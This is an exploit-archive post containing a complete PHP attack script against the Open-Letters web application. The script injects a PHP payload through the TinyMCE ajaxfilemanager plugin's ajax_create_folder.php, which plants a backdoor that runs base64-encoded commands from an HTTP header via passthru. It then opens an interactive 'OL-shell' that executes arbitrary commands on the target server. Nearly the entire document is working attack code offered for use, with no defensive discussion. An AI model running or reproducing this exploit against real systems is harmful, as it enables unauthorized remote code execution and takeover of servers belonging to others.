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Open Letters Remote PHP Code Injection

Posted on 22 April 2015

<?php

/*
OutPut:
#[+] Author: TUNISIAN CYBER
#[+] Script coded BY: Egidio Romano aka EgiX
#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability
#[+] Date: 19-04-2015
#[+] Vendor: http://www.open-letters.de/
#[+] Type: WebAPP
#[+] Tested on: KaliLinux (Debian)
#[+] CVE:
#[+] Twitter: @TCYB3R
#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com
#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png
OL-shell>

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
 if (!($sock = fsockopen($host, 80)))
 die( "
[-] No response from {$host}:80
");

 fwrite($sock, $packet);
 return stream_get_contents($sock);
}

print "#[+] Author: TUNISIAN CYBER
";
print "#[+] Script coded BY: Egidio Romano aka EgiX
";
print "#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability
";
print "#[+] Date: 19-04-2015
";
print "#[+] Vendor: http://www.open-letters.de/
";
print "#[+] Type: WebAPP
";
print "#[+] Tested on: KaliLinux (Debian)
";
print "#[+] CVE:
";
print "#[+] Twitter: @TCYB3R
";
print "#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com
";
print "#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png";

if ($argc < 3)
{
 print "
Usage......: php $argv[0] <host> <path>";
 print "
Example....: php $argv[0] localhost /";
 print "
Example....: php $argv[0] localhost /zenphoto/
";
 die();
}

$host = $argv[1];
$path = $argv[2];

$exploit = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode($_SERVER[HTTP_CMD]));die; ?>";
$packet = "POST {$path}external_scripts/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Content-Length: ".strlen($exploit)."
";
$packet .= "Content-Type: application/x-www-form-urlencoded
";
$packet .= "Connection: close

{$exploit}";

http_send($host, $packet);

$packet = "GET {$path}external_scripts/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Cmd: %s
";
$packet .= "Connection: close

";

while(1)
{
 print "
OL-shell> ";
 if (($cmd = trim(fgets(STDIN))) == "exit") break;
 preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
 print $m[1] : die("
[-] Exploit failed!
");
}

?>

 

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